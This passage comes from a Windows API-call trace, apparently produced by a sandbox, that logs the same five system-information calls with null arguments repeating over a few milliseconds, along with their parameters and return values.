lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.576] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.576] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.576] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.576] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.576] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.576] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.576] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.576] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.576] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.576] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.576] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.576] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.576] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.577] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.577] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.577] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.577] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.577] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.577] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.577] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.577] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.578] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.578] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.578] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.578] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.578] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.579] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.579] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.579] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.579] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.579] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.580] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.580] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.580] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.580] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.580] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.602] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.602] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.602] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.602] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.602] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.602] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.602] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.602] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.602] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.602] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.603] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.603] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.603] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.603] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.603] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.603] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.603] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.603] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.603] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.603] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.603] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.603] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.603] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.603] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.603] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.603] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.603] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.603] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.603] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.603] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.603] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.603] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.603] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.603] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.603] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.604] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.604] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.604] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.604] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.604] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.604] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.604] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.604] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.604] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.604] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.604] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.604] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.604] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.604] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.604] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.604] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.604] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.604] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.604] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.604] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.604] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.604] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.604] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.604] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.605] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.605] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.605] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.605] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.605] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.605] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.605] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.605] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.605] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.605] GetThreadSelectorEntry (in: 